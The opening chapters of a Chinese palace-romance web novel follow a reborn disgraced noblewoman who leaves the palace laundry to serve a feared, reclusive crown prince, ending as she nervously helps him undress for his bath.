《宠妃上位记》
1. 001
第一章
盛夏,夜,南夜国皇宫。
入夏之后,蝉鸣蛙叫鼎沸,燥热一天比一天更盛,空气里仿佛都弥漫着热气腾腾的味道,嘴里呼出的气息都是灼热的,烧的人嗓子都要冒烟了。
后宫里的嫔妃们一早便用上了寒冰消暑,身份好点儿的宫女也都能跟在主子身后蹭些凉意儿,但位于西边的浣衣局就没这么好的待遇了。
西边,最是西晒。
到了夜间,燥热都难消退。
本就是最下等奴婢呆的地方,不是贱奴,就是罪奴,哪儿还会有人管她们的死活。
前几日,睡在隔壁屋子里的一个宫女,也不知道得了什么病,奄奄一息的躺在床上,可能还没完全断气,就被人用一床草席随便一裹,扔去了乱葬岗。
那可是丢死人的地方啊!
唉……盛溦溦幽幽地叹了口气,这会儿她身子也发着烫,却不敢告诉人,生怕被人发现,也被扔去乱葬岗。
能不怕么!在这个视人命为草芥的南夜国,走错一步都是万劫不复。
就比如她,曾光鲜靓丽的盛府嫡女,过着衣食无忧、十指不沾阳春水的日子,一夜之间,她未来的夫君谋反,盛家也因此受牵连,全家上下几百号人亦未能幸免,流放的流放,充婢的充婢,她就是那个时候被送入了浣衣局,在浣衣局里苦熬了一年光景后,成功攀上了睿亲王这颗大树,岂料她入府当夜,睿亲王举兵谋反失败,她连盖头还没掀,便被定了死罪。
盛溦溦死的那一日,举国欢乎,庆祝新帝登基——有道是有人欢喜有人忧,便是这么个理儿了。
许是上一世过的太稀里糊涂,所以上天又给了她一次重新来过的机会,这一次,说什么她也要抓住机遇,救盛家出水火。
想到这里,盛溦溦将这一世的母亲托人递给她的信收起来,小心的揣入衣襟的口袋里,拿起盆里的衣服搓了起来。
水热的烫手,没搓一会儿,手便开始红肿,浑身也都被汗湿透了。
“李嬷嬷,听说了吗?”秦嬷嬷刻意压低尖细的嗓音,像是说着什么见不得人的话,又像是炫耀着她比旁人消息更灵通的得意劲儿,低着头,膀子上肉一晃,神情里带着三分神秘四分得意:“太子府今日又抬出来了一位。”
闻言,李嬷嬷手上搓衣服的动作都没停一下,但眉头却拧了起来:“作孽啊,什么样的怪病才会隔三差五的杀人啊,这是这个月第九个了吧?照这样下去,怕是没人再敢去了吧?”
“可不是说呢,若这个月死了十个人,太子之位恐怕要不保,谁不知道咱们皇上最忌讳十这个数呢——”秦嬷嬷直了直圆硕的腰,抬头朝四周瞧了瞧,这才伸出肥胖的手,来回翻了两下:“皇后那里可是发了话了,若有愿意去的,光定金就是一百两,还是黄金,要是伺候好了,后面还有呢!”
“既不能超过十人,为何皇后还要……”
“你怎么还糊涂了,这太子殿下又不是皇后亲生的,她不得替她亲生的那一位打算啊。”
“再怎么说,那都是活生生的人命啊!”李嬷嬷可惜地摇着头,也不看秦嬷嬷一眼,嘟囔道:“要我说,给再多银子都不值当,一条命就没了。”
“谁说不是呢,去一个死一个,就没有例外的。”
盛溦溦坐的近,本来只是虚耳听着,直到秦嬷嬷说出一百两黄金,她冷不丁的坐直了身体、竖起耳朵。
进浣衣局之前,盛溦溦对银子压根没有概念,毕竟一直养在深闺里,吃穿用都有人伺候,啥事都不用愁,可她现在已然成了靠双手劳作艰难度日的下等奴婢,眼下银子对她来说才是急需拥有的。
俗话说的好——有钱走遍天下,无钱寸步难行——盛溦溦正努力地将这句话落实到实处。
母亲来信说,已经替幼弟找到一户十分可靠的人家,现如今只需要银子替幼弟赎身,便可将幼弟寄放到那户人家,免得幼弟跟着同样为奴的母亲身边遭罪。
盛溦溦挪了挪身子,凑近了李嬷嬷,张了张有些干裂的嘴唇:“嬷嬷,太子府招人需要什么条件吗?”
“什么条件?”李嬷嬷还没接口,一旁的秦嬷嬷便哼了一声,她是不喜欢盛溦溦的,一来是因为盛溦溦是贵小姐出身,以前都是她这样的下人伺候的主子;二来就是她看不惯盛溦溦那张脸儿,她大半辈子都活在宫里,什么模样的美人没见过,却都不及盛溦溦容貌一二,说白了,她心里那股气劲儿就是妒忌。“这要什么条件!”
李嬷嬷听秦嬷嬷的口气不太友善,便温声解释道:“秦嬷嬷的意思是,但凡是个女的,他们都不会挑剔的。”
盛溦溦知道,他们指的是内务府,专门处理皇族内务的部门。
李嬷嬷话音刚落,突然意识到什么,心里一慌,抬起头问:“小溦啊,你该不会是想……”
盛溦溦抬起一双清
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幽幽的眼眸,声音清晰笃定:“是的嬷嬷,我想去。”
不入虎穴焉得虎子,盛溦溦不仅想要那一百两黄金,她还有更大的野心。
目光下意识的瞥向侧前方,一个同样衣着打扮的女子正一声不吭地垂头洗衣服,盛溦溦知道她叫许静婉,昨日才来的浣衣局,和自己一样,也是官小姐出身。
上一世,许静婉进来第三天便申请去了太子府,太子虽不近女色,但她忠心恳恳服侍太子,后来太子登基,看在她没有功劳也有苦劳的份上,便寻了个缘由,将她和许家赦免了罪。
简直活脱脱的女主命啊。
哪像自己,只能做个到死都不配拥有镜头的女配啊。
只是,一般女主人品极好、心地善良,许静婉却不是,上一世自己帮了她,替她挨了几棍子,后背疼了好几日,她倒好,半个谢字都没有,哪怕后来自己轮为阶下囚,而她已恢复自由身,也没探望过她。
盛溦溦打定主意,今夜任许静婉再怎么恳求,都不会再帮她了。
半夜,熟睡中的盛溦溦被摇醒,睁眼一看是双眸含泪、楚楚可怜的许静婉,似有犹豫般的咬了咬唇,道:“盛小姐,你能不能帮帮我?方才我听到阿兰她们几个商量着要教训我,可我在这里谁都不认识,你可以帮我吗?”
说实话,盛溦溦到现在都没搞明白,大家都是刚认识的,为什么许静婉偏偏要找自己帮忙呢?就因为同是官小姐出身?
“不好意思,许小姐,我们熟吗?”
许静婉微微一愣,轻轻摇了摇头:“不熟,我实在没办法了,才来求你的……”
“既然不熟,我为什么要帮你?”知恩图报帮就帮了,忘恩负义还是免了吧,尤其许静婉还是那种踩着她过河,再将她一脚踹走的人,坚决不奉陪。盛溦溦扯出一个疏离淡漠的笑容,拍了拍枕头,“我要睡了,麻烦高抬贵手,你压到我枕头了。”
说完,看也不看许静婉一眼,就往榻上一倒。
许静婉:???
大约没料到盛溦溦会这么直接地拒绝,许静婉愣了好一会儿,才出了屋。
盛溦溦也没睡着,抬头朝屋外看了看,阿兰是浣衣局的女霸王,但凡来了新人,她必定要立威的,好让人知道她是这里的老大,不过她也只是吓唬吓唬人,动真格的她也没那个胆量,所以即使自己不帮许静婉这个忙,也不会出什么大问题,最多挨几棍子罢了。
2. 002
第二章
内务府的办事效率极高,盛溦溦头一天晚上报的名,第二日一早便有人来领她去了内务府面试。
许静婉也是报了名的,但盛溦溦一直没见到她,一打听才知道,她半夜跑出了浣衣局,也不知怎的竟误入了后花园,找不到回来的路,天亮的时候遇上了进宫的睿亲王,才将她送了回来,只是她对花粉过敏,碰了一头一身的花粉,弄的整张脸都肿了起来,铁定是无法面试了。
啧啧啧,拥有主角光环的人就是不一样啊,出个门都能遇上亲王。
到了内务府,盛溦溦发现她前面已经等了好几个奴婢,在她之后又来了几个,粗略算了下也有十来个人,想来这些人也都同她一样,冲着一百两黄金来的,否则谁愿意接这个随时会掉脑袋的活呢。
内务府的人按流程逐个问了话,然后便让她们回去等消息了。
盛溦溦心里有些没底,她身上发着热,虚弱的很,加上近几个月营养不良,脸上有了些菜色,整个人看上去很是萎靡不振、体弱多病的样子,不知道能不能入选。
回到浣衣局时,李嬷嬷已经将她的那份衣服一起洗了,盛溦溦一边道谢,让李嬷嬷赶紧回屋歇息,一边顶着酷日将几大盆衣服晾晒起来,一阵忙活后,也到了吃午饭的时间,三等贱奴吃饭,自然是没有像样的桌椅,大部分人都是随便找个地方坐,或者干脆蹲在院子里,三三两两挤在一块儿,边吃边八卦。
许静婉等所有人都打完了饭,才裹着厚厚的头巾从屋子里出来了,经过盛溦溦身旁的时候,有意停顿了一下,目光不善地朝她看过来。
盛溦溦正在啃馒头,察觉到视线也回望了过去,眼神既纯澈干净,又毫不躲闪,她从不挑事儿,但别人要主动挑事儿,她也不怕。
打饭的嬷嬷不耐烦的敲着铁盆,大声嚷道:“许静婉,你要不吃就别吃了,我们还赶着给别处送饭呢!”
许静婉眼神腾的闪跳了一下,不知是被嬷嬷的叫嚷声吓的,还是被盛溦溦迫人的目光惊到,只见她用力咬了咬唇,剜了盛溦溦一眼,就朝打饭处走去了。
出乎意料的,午饭刚过,内务府便来人通知盛溦溦入选了,一同送来的还有一百两黄金,让她收拾好行李,明个儿一早就安排她入太子府。
速度之快,生怕她反悔似的。
盛溦溦是被抄了家、戴罪入宫为奴的,没什么行李可收拾,只是将随身换洗衣服收在一个薄薄的小包裹里后,便去同李嬷嬷告辞。
李嬷嬷坐在炕上,炕上几个被窝,就数李嬷嬷的最整洁干净,她面前的凳子上放着一碗冰糖水,盛溦溦一进屋,便闻到一股来自冰糖水的清甜香味儿。
盛溦溦知道那碗冰糖水是李嬷嬷给她准备的,入了夏以后,李嬷嬷每日都会偷偷给她准备一碗冰糖水,又冰爽又甜腻的糖水入了口,再流入身体每一个细胞,能将一日的暑气和疲惫都消尽。
盛溦溦甜甜地唤了一声:“嬷嬷。”
李嬷嬷见盛溦溦一小口一小口的喝着冰糖水,心疼的掉下眼泪来,说实话,她挺舍不得溦溦离开的。
虽是养尊处忧的小姐,但溦溦身上却没有那些官小姐们的脾气和娇气,到了这里后,该她干的活,从无怨言,话不多,也从来不招事儿,关键是长的还好看,用秦嬷嬷的话来说,溦溦是那种看一眼就能让人丢魂的——妖精。
可李嬷嬷却不这么看,这后宫里的嫔妃哪个不漂亮啊,哪怕是个宫女都有几分姿色,可她们一站到溦溦身旁,立刻就被比下去了,溦溦的好看是那种不可多得的好看,不仅好看,还乖巧、贴心,一双清幽幽的眼睛简直能望入人心里去。
李嬷嬷也有一个女儿,很多年前弄丢了,不知道从什么时候起,她就把溦溦当成了自己的女儿看待。
既想着她能陪在自己身边,也盼着她能飞黄腾达,但不管哪一样,从未想过她去伺候那个杀人如麻、嗜血如命的太子!
“嬷嬷,谢谢你。”将碗递给李嬷嬷的时候,盛溦溦顺势塞了几两黄金给李嬷嬷,见李嬷嬷推辞不肯要,她才道:“嬷嬷,我来这里三个月了,一直都是您照顾我,若不是您,我连命都没有了,您对我的好,我心里都记着呢!”
“说这些干啥,都是苦命的人,能帮便帮着点儿,再说你和我女儿一般大,我帮了你,也希望她在另一个地方,也能有人帮她。”李嬷嬷说着,眼里泛起了泪花。
“我知道嬷嬷您把我当女儿看待,只是我这一去也不知道还能不能再回来,若不能回来,你权当我孝顺您的。”见李嬷嬷执意不肯收,盛溦溦只好换了一种劝法,道:“若是能回来,你就当我存放在你这儿的也成啊。”
“唉,”李嬷嬷一双眼睛里泪汪汪水滋滋地,不住地用发白的袖口反复擦试眼角:“那就当你存在我这儿的,我等着你回来,你可一定要回来啊。”
……
一辆马车将盛溦溦送到了太子府后门口。
“谢……”盛溦溦刚下车,谢谢还没说完,那车夫便驾着马车飞奔而去。
跑的那叫一个十万火急。
盛溦溦转回身,看着巷深处那扇幽静的小门,许是太子殿下病的太久,府里的人光顾着护住自个儿的性命,顾不上旁的了,这门旁的杂草都顺着石缝长的很旺盛,快将进门的石阶淹没了。
盛溦溦深吸了一口气,拂了拂压的皱巴巴的破旧衣裳,抬步走上长满杂草的石阶,然后握起门圈,用力扣了几下。
过了好一会儿,才听到一个颤巍巍的声音传来:“来了,来了啊。”
听声音,盛溦溦知道是个老太太。
门朝内打开,确实是个老太太,面容精瘦、精神矍铄,上下打量了盛溦溦一眼,看不出半点儿笑意。
给盛溦溦第一眼的印象,并不算慈祥。
“嬷嬷好。”盛溦溦冲嬷嬷乖巧地笑了笑,俗话说伸手不打笑脸人,何况她还长的那么俊呢。
“你是盛溦溦?”
“是的,您叫我小溦就可以了。”甜甜的声音、乖巧的笑容,说是下凡的仙子也不为过,只是她此刻生着病,反倒有一种娇弱的病态美。“不知嬷嬷怎么称呼?”
“叫我婆婆,跟我来吧。”老太太忽略盛溦溦抛出善意的橄榄
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枝,只是免强点了下头,眼里露出的信息似乎是说“还可以”的样子,转身便往里走,吩咐她:“把门关上。”
盛溦溦觉得这婆婆脸挺臭的,但她毕竟新来,处理好与前辈的关系很重要,所以什么也不能计较。
“好。”
盛溦溦跟在婆婆身后,连着走了三个院落、十几个弯弯绕绕的长廊、二三十间屋子,愣是再没见着一个人!
难不成,府里再没旁人了?
盛溦溦心里正狐疑,远远的便听到刀剑刺杀的声音,虽然看不到画面,但仅听声音就感觉很是激烈了,越走近,声音越清晰激烈。
转过一条长廊后,视野陡然开阔,眼前出现一个身披铠甲、手持利剑的人立于院中,剑起时,乌发凌乱飞舞,遮去了他大半脸张,依稀能分辨出他深邃冷硬的五官和轮廓,衬着他身上黑金相间的铠甲,很是一副盛气凌人的霸气!
盛溦溦不懂武,也没看清他是怎么挥剑几个来回,一树断枝残叶纷纷落下。
接着,吱呀一声,那足足需要三个人才能围起来的粗壮高大的树,生生拦腰折断了!
“唉,可惜了……”婆婆叹了气,面上神色颇有点可惜的意思:“活了两百年了,高兴就好。”
盛溦溦没听明白婆婆话里的意思,前面还说可惜,后面跟着却是高兴就好?
怔忡间,一个眼神冷不丁地朝盛溦溦看过来,漆黑的瞳眸中尽是肃杀之气,抬手间剑刃飞舞,浸满寒冰的剑峰似乎要她砍来似的,眼底似深渊、似地狱,身姿傲冷如万里冰川之巅的松柏,既孤冷遗世,又冰冷的没有生气,吓的她直挺挺的站着,不知道跑,也忘了呼吸。
盛溦溦:!!!
盛溦溦也算是追星一族,况且在这个世界她还活了两世,看过的帅哥少说也有千儿八百的了,但这么好看的小哥哥还是少见的,剑眉凤目、高鼻薄唇、轮廓硬挺、小麦色的皮肤,处处透着浓浓的荷尔蒙气息,一身霸气下隐隐涌现出利刃出鞘时的果断,简直就是那种一出场,便能碾压所有的旷世盛颜!
盛溦溦被那眼神盯的心里发怵,脸色发白,愣在那里脑袋里除了觉得好看以外,剩下的全是一片空白,直到她的目光触到他铠甲的胸口处一大块一大块的猩红血迹,衬着他如同无尽地狱一般的肃杀神色,和冰冷雪川一般黑眸,顿时让人觉得毛骨悚然起来。
联想到秦嬷嬷说的话,盛溦溦身子不由自主的一颤。
那该不会是他杀人时,留下的血迹吧?
还是说府里没人的原因,是因为都被他杀死了?
想到这里,盛溦溦感觉到自己身体在发抖,下意识地缩了缩脖子。
婆婆镇定自如地开口介绍:“那是太子殿下,你今后要服侍的人。”
“嗯……”这么显眼的特征,不用介绍,也知道是太子殿下了。
盛溦溦只觉得耳边嗡嗡的,震惊和恐惧还没有完全消退,又听到婆婆说:“我要离府一段时日,从今夜起,就由你服侍殿下吧!”
盛溦溦闻言生生后退了一步,她觉得不用等几天了,她很可能活不过今晚。
3. 003
第三章
时辰尚早,婆婆带着盛溦溦熟悉一下府里的主要活动区域,毕竟太子府太大,足足占了半条街,而除了几个日常的活动区域,其他地方都没有人,没必要去熟悉,婆婆也不打算过多介绍,因为在她看来,眼前这个姑娘虽然活泼机灵,也比她这辈子见过的美人都还要美,可殿下并不好色,所以这姑娘能活过几日,也说不准。
“在府里,我们的活动区域主要是东边的六间房,殿下的活动区域主要是寝屋、书房、膳食屋,殿下不喜脏乱,所以你这几处屋子你需每日勤加打扫,殿下的衣物不论春夏秋冬,必须日日洗换,不可马虎。”
婆婆说着,示意盛溦溦用手指在桌子上抹一下,盛溦溦便伸手抹了一下,只见手上微微沾了点灰,婆婆便摇了摇头:“这种便是不合格的,必须擦的纤尘不染。”
“不论是练剑、练字、打坐,殿下都不喜欢有人打扰,你需保持安静。”
“殿下用膳时,你需在一旁伺候,但不许发出任何声音。”
“殿下未就寝时,你不得先于殿下就寝。”
“要随叫随到,需在不打扰殿下的情况下,尽量离他近一点,包括夜间。”
“后园花池有一小块并蒂莲,那是殿下的心爱之物,你且要小心照料……”
“……”
婆婆还在叮嘱些什么,盛溦溦只觉得头皮一阵发麻,以殿下的这些要求来看,一个专职的清扫机器人应该更适合他。
人,根本不配!!!
婆婆见盛溦溦有些走神,也收住了话,上下打量着盛溦溦——这姑娘漂亮是足够漂亮,但气色不太好,而且胆子太小!
刚才见到太子殿下,那双透亮透亮的眼睛里,是毫不掩饰的恐惧,看样子甚至比前面几位宫女胆子似乎还要小一些,也不知道能熬几日。
婆婆这么想着,觉得自己刚才有些浪费口舌了,这会儿都感觉口渴了。
“一会儿我便要出府了,府里的膳食一向是由宫里专人专送的,不需要你做,但需要你试菜,另外,殿下也有可能临时起意想吃些什么,所以用膳前最好先问问殿下。”
盛溦溦毕恭毕敬在点头,模样甚是乖巧:“多谢婆婆教诲。”
“哦对了,府里上空时不时的飘过几个人影,衣服颜色呈黑、红、蓝三色,若遇见你也不必大惊小怪,和你一样,都是殿下的人。”
殿下的人?盛溦溦觉得这话说不出的别扭,脸上却是乖巧的不能再乖巧,绽放出半永久的笑容:“婆婆,您说的我都记下了。”
送走了婆婆,盛溦溦捏了捏已经笑僵了的脸,转过身看着凋零的有些蛮荒的院子,心里一阵惆怅,现在这府里,只剩她和那个爆戾成性的殿下了,她感觉到前所未有的压力。
在此之前,盛溦溦对太子殿下了解并不多。
只知道他叫娄宴,非皇后嫡子,只是在很小的时候就过继给了皇后,十五岁那年随皇帝出征边境,发挥了军事方面的天赋,以一万兵士力战十万蛮夷大军,大获成功,一战成名。
此后数年间,娄宴在战场上所向披靡、无一败绩,被称之为当之无愧的战神殿下。
二十岁那岁,娄宴率兵追击敌军时,误入一片荒野,虽然最终大败敌军,但那一战归来后不久,好像就得了什么病,具体什么病不得而之,但娄宴从此未再上过战场,朝堂上似乎也不见他的身影。
后面,关于娄宴的事,便传的越来越少了,也越来越玄乎了。
至今,两年过去了,曾经太子府人丁最兴旺的时候,上上下下加起来有三百多号人,后来病的病、死的死、逃的逃,到现在固定人员也就剩太子娄宴和婆婆两个人了。
娄宴虽说只是在府里养病,没有被禁足,也没有被软禁,但府里没人,又常年无人来往,景象可谓凄凉。
皇后表面上关心娄宴,源源不断的挑人送入太子府,但送进府里多少人,抬出去便是多少人,不是生了什么怪病,就是没有征兆的突然死亡,给本就让令人生畏的娄宴多增添了一层神秘的恐惧色彩。
有人说是娄宴杀人太多、杀戮太重,但凡只要跟他沾边儿的,都免不了一死。
也有人说娄宴发病时如同嗜血的魔鬼,见谁杀谁,那些送进府的宫女都是他发病时杀死的。
所以,即使皇后重金招人,愿意来太子府的人也不多。
盛溦溦倒不是笨到飞蛾扑火,而是她知道,一年后,这个曾经令所有人望而生畏的太子娄宴,最终会成为权倾天下的南夜国皇帝,主宰南夜国的一切。
他能让人死,亦能让人生。
非常适合走投无路又急需逆风翻盘的盛溦溦。
盛溦溦深吸一口气,拍了拍胸脯,在心里对自己说了一句:“为了盛家,加油啊盛溦溦!”
盛溦溦去了趟厨房,将瓜果洗净装盘,又将宫里送来的冰块置放在果盘最外层,将内屋的瓜果围起来,不一会儿,那些瓜果便冰冰凉凉的了,吃起来很爽口。
方才她注意到娄宴练剑时,额上全是汗,若是将这盘冰镇瓜果送过去,应该会留下好印象吧。
盛溦溦端起果盘,蹑手蹑脚地走到娄宴练功的地方,发现那里除了一地的断枝残叶外,不见娄宴人了。
书房与练功的院子在一处,于是盛溦溦将果盘放在书房的桌子上,拿起屋角摆放的扫帚清扫起院子,婆婆不是说了么,殿下喜欢干净、不喜欢脏乱,这些乱糟糟的叶子还是尽早扫尽的好。
很快便将地上的断枝残叶扫到了一处,堆成了一个小尖堆,午后的天气闷热的很,扫了那么一会儿,盛溦溦浑身已经被汗湿透了,不过与在浣衣局相比,这里没人盯着,要感觉自在许多。
话说的太满,后悔就来的更快,盛溦溦一抬头便看到娄宴立于长廊下,冷如冰霜的视线幽幽的看过来,吓的她倒吸一口凉气。
这是什么吃肉还不吐骨头的眼神啊!
“殿……殿下……”盛溦溦头一次发现自己竟然紧张到结巴了,视线不自然地从娄宴的脸上移到他的衣服上,见他身上穿的不再是浸了血的铠甲,而是一件玄青色的长衫,颜色是温和儒雅的,却依旧遮不住他身上那股子傲冷的肃杀之气。“殿下换衣服回来啦,这颜色很适合您呢。”
盛溦溦为自己的机智点赞,比别的什么本事她不一定能赢,但彩虹屁要多少她有多少。
不过盛溦溦猜不准娄宴吃不吃这一套,因为她说完后,娄宴的反应不大,沉着脸进屋的时候,牙缝里冷冰冰的挤出几个字:“把衣服洗了。”
盛溦溦的自我定位十分精准,闻言立马就将手中的扫帚放下,殿下是扭转整个盛家未来的关键,他的话必须言听计从啊。“好的,奴婢这就去。”
盛溦溦转身就走,刚走出长廊却又返回,见娄宴负手立于书房中央,对着墙上一幅图发呆,她也跟着发了一小会儿呆,此刻的娄宴不像刚刚那般杀气腾腾,反而有一种俊公子般的清隽矜贵,许是衣服衬的,也或许是他身上本来就有这种气质,就连后脑勺都比旁人更好看一些呢。
盛溦溦没花痴多久,温馨平和的氛围就被打破了。
“还不去?”
冷冰冰的声音传来,盛溦溦倒是惊了一下。“哦哦,”果然是洞察秋毫的太子殿下啊,连她躲在门角边都能被发现,不由地赔着小心:“殿下方才练剑应该又累又渴,桌上有冰镇的瓜果,殿下不妨尝一尝,消暑解渴的。”
盛溦溦说完,也不见娄宴有什么反应,只好识相的跑去房里找他换下来的衣服了。
洗完了衣服,时辰也还早,盛溦溦又跑回书房想看看瓜果有没有吃完,好再给他切一份,却看到那盘瓜果纹丝未动,而盘子里的冰块却已经化成了水。
湿答答的东西当然不能给高贵的太子殿下吃了,免得让他对自己留下不好的印象。
盛溦溦轻手轻脚地走进书房,也不问娄宴为什么不吃,而是动作极轻地将盘子撤下去,又重新切了一盘瓜果并用冰块围好,送去了书房。
如此反复三次,娄宴始终没有吃一块水果,盛溦溦不烦也不急,瓜果依旧切的好看,冰块也围的认真,反正她来太子府的唯一目的,就是伺候娄宴,要是这点儿冷漠都受不了,她还不如不来呢。
盛溦溦第四次将瓜果送入书房时,如冰块一般冷硬的娄宴终于开口了,不是吃东西,而是让她磨墨。
“磨墨。”性感的唇一张一合,脸上却是面无表情。
盛溦溦心想要这太子殿下开个口可真不容易,两条小腿都快跑细了。
“是。”磨墨对于盛溦溦来说,是手到擒来的事,以前在盛府,父亲写字的时候,就喜欢让盛溦溦帮他磨墨,倒不是盛溦溦磨的墨与旁人有什么不同,而是盛溦溦性子活泼,有她在的地方气氛总是很欢乐。
盛溦溦一边磨墨,一边偷偷打量娄宴,人人都说南夜的几位皇子个个英俊潇洒,其中容颜最为耀眼的当属五皇子娄宴了。
一般像这种传言,盛溦溦都是极少相信的,但现在看来,外面的传言也不都是大瞎话,就比如
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娄宴长的确实好看,还是那种万里挑一的那种好看,特别的赏心悦目。
尤其他坐在那里,认真写字的模样,眉目清朗、高鼻俊挺,一双丹凤眼里闪着晶亮的光,敛眉间山川皆失色。
拍下来当手机屏保,够舔屏一年了吧。
“殿下,您的字真好看。”
“……”
娄宴无应答。
“殿下,您用的笔是狼毫还是羊毫啊?”
“……”
娄宴不想搭理。
“殿下这笔峰苍劲有力,奴婢猜是狼毫,对不对?”
“……”
娄宴觉得有点儿烦。
“殿下,初学者练字,到底是用狼毫好呢,还是羊毫好呢?”
“……”
娄宴握着笔的手稍稍一顿,抬起头时,冰霜般的眸子里透露出不耐烦的神情,眼底的冰冷也令盛溦溦连呼吸都有些不敢了。
盛溦溦张了张嘴,终是闭了嘴,还是少说话吧,否则就是没死,也会被娄宴撵出去……
太子府东侧门忽然响起了敲门声,盛溦溦知道,宫里送菜都是由东侧门送进来的,因为离东苑近,不需要跑老远。
送饭的是个年轻的小太监,看上去约摸十七八岁的年纪,很是机灵。“婆婆今个儿不在?”
盛溦溦脾气好,跟谁都笑嘻嘻的,比较好聊天儿:“婆婆出去有事了。”
盛溦溦领着小太监到了厨房,见小太监满头大汗,便拿了一块儿冰镇过的西瓜递给她:“解解渴儿。”
小太监摇头:“这我哪儿敢吃。”
盛溦溦笑:“殿下不吃,过了今夜,都要扔掉的。”
小太监这才接过西瓜吃了起来,在宫里这些新鲜的水果都是主子们享用的,也只有主子们吃饱吃够了,才会将吃剩的赏给他们。
小太监大口吃着西瓜,西凉进贡的瓜就是甜,冰凉爽口,问:“你是新来的?”
“对啊,今天才来的。”
“你原来是在哪里的?”
“浣衣局。”
也不知道是不是吃了盛溦溦的西瓜,小太监总觉得要回报些什么似的,压低声音道:“这里不好,你怎么想起来到这里来呢?”
盛溦溦见小太监的样子,轻轻地笑了起来:“看你熟门熟路的样子,你送饭挺久的了吧?”
“快一年了。”
“对啊,都一年了,你不也什么事都没有么。”
小太监一双眼睛滴溜溜地转,一时也想不出什么反驳的话来,加上他也不好逗留的太久,外面还有人在等着他。“我走了,明个儿再聊。”
小太监一走,盛溦溦打开他送来的几个膳食盒,瞧了一眼都是大补的吃食,虽然营养,但这天气本就燥热,吃这么多滋补油腻的东西也不好。
盛溦溦见厨房里有新鲜的秋葵,当即将秋葵洗净焯水装盘,又将蒜子切成蒜茉儿,和姜片等佐料一并撒在秋葵上,最后用滚烫的热油往秋葵上一浇,顿时香味儿就出来了。
将其中份卤猪蹄撤了下来,换上了凉拌秋葵,一并端去了餐堂。
娄宴的生物钟大约太过准时,花锦颜不过耽搁了一小会儿,到餐堂的时候,娄宴已经等在那里了。
盛溦溦赶紧将食盒打开,将菜一盘接一盘的端出来,特别狗腿的道:“殿下,这些菜奴婢都尝过了,没问题,您可以放心吃了,您看还有没有别的想吃的菜,奴婢去给您做。”盛溦溦的声音像灌了蜜汁的藕一样,又甜又糯。
娄宴看着满桌子的菜,又看了看眉眼弯弯的盛溦溦,这是他第一次用不算太过肃冷的眼神看她,不知怎的,盛溦溦的心口莫名的一怔。
长的太好看也是一种犯罪,毕竟他看谁都像是在放电。
“不必。”
被电的有些晕乎乎的盛溦溦一拍脑袋,想起还有一个装着冰粥的膳盒没拿过来,道:“殿下,您先吃着,宫里还送来了冰粥,奴婢这就去给您拿过来。”
盛溦溦说完,转身就往外跑,也不知是不熟悉屋里的布局还是太过于慌张,一头撞在门框上,疼的她眼泪险些都涌了出来。
盛溦溦也不敢回头去瞧唯一的目击者,捂着头飞快地跑走了。
太尴尬了。
在她身后的娄宴抬起一双凤眸,眸色幽冷如同万里冰川,起身走向门框旁,伸手一拔,扎入门框上的一支冷箭便被他拔了下来。
冷箭的尖端在烛光下泛出异样的灰褐色,娄宴凑近鼻端闻了闻,是牵机钩,属巨毒。
4. 004
第四章
娄宴用晚膳的时候,盛溦溦除了去了一趟厨房,端回一碗冰粥以外,其余时间都认认真真地站在一旁伺候,她自认为做的还算是尽职尽责的。
其实也不能说是伺候,因为娄宴全程没说话,也没吩咐她夹菜什么的,所以准确来说应该是盛溦溦免费看了一场吃播,主播不仅是万人迷,吃相还特别耐看,观赏性绝佳,唯一可惜的是全程静音。
盛溦溦也没料到,娄宴吃的最多的,竟然是她匆忙中凉拌的那盘秋葵。
收盘子的时候盛溦溦无端生出些自豪来,她也不是一无是处啊,比如说做菜她就很有两下子嘛。
听婆婆提过,娄宴用完膳,习惯性要在府里练一会儿剑,或者散步消食,她便趁这个时间替娄宴找来换洗衣物,为他沐浴做准备,至于碗筷之类的是不用她洗的,第二日一早宫里自会有人来取。
盛溦溦拿着换洗的衣物来到浴池,看着池子里散出来的氤氲之气,觉得娄宴过的太骄奢淫靡了,浴池里的水是引自天莲山的温泉,不仅长年温度宜人,还是天然的活水,泡一晚那叫一个神清气爽、肌肤细软柔嫩啊。
盛溦溦倚在池边的凳子旁,一只手随意地掬着温泉水玩儿,一只手托腮想事儿,说到底她还没伺候过人,只能靠她以前看过的电视剧剧情来续命了,只要她照葫芦画瓢,想来应该也出不了什么错。
盛溦溦闭上眼睛回想看过的电视剧,首先应该做的是试水的温度,然后替娄宴束发,再然后就是替娄宴宽衣,再然后——
等等,宽衣?盛溦溦突然睁开眼睛,娄宴是男人啊,她要给娄宴脱衣服?怎么办,想想就很心慌啊。
能不能闭眼啊?
盛溦溦眨眨眼,想到另一个关于娄宴的传言,说他生性冷淡、不近女色,曾有无数女人想爬上他的床榻,最后被他提着剑撵了出去,丝毫不怜香惜玉;皇后也曾有意将母家的一个侄女赐婚于他,也被他冷淡的拒绝了,好像那一次,便是皇后和娄宴离心的开始。
综合种种迹象判断,娄宴若不是自我禁欲到变态的地步,就是不好女色,对女人不感兴趣。
既然如此,那替他脱个衣服应该没什么问题吧?
想来想去,盛溦溦心底的担忧少了许多,与此同时,门外也响就起了脚步声。
听到声音,坐在浴池边的盛溦溦还是不由地一阵紧张,手一抖,掬在手心里的温泉水便泼洒到池边儿,眼见娄宴已经走了进来,也来不及打扫了,起身迎了过去:“殿……殿下回来了,奴……奴婢给您宽衣。”
娄宴没有看盛溦溦,目光如常的看了眼浴室四周,方才伸开双臂。
娄宴太高,盛溦溦搬了个小凳子,站在上面才勉强够得上,替娄宴解外衣的时候,盛溦溦倒还好,手上的动作也还能自如,可当褪去外衣后,一眼瞥见娄宴穿着的贴身寝衣时,隐隐约约露出他的好身材时,盛溦溦不禁咽了咽口水,手心开始冒汗。
两人离的太近,连呼出的气息彼此都能感受到,娄宴一直是这样被人伺候的,他不觉得有异样,可盛溦溦就不一样了,她的恋爱经验不算丰富,这样与一个男人贴的这般近,额上很快便渗出来汗丝,手心的汗也越来越多。
盛溦溦紧张地举起手,还没碰到衬衣的衣领,就碰到了娄宴的脖子,刹时,又滑又凉的触感从手指尖传到手背、胳膊,最后传到心脏。
盛溦溦跟触了电似的,慌忙缩回手,脸唰的一下红了。
娄宴本来没觉得怪,宽衣时难免会接触到肌肤,这实属正常,可盛溦溦这反应未免太大,倒令娄宴长眉拧了一下。
“对……对不起啊殿下,奴婢粗鲁了,请您多担待。”
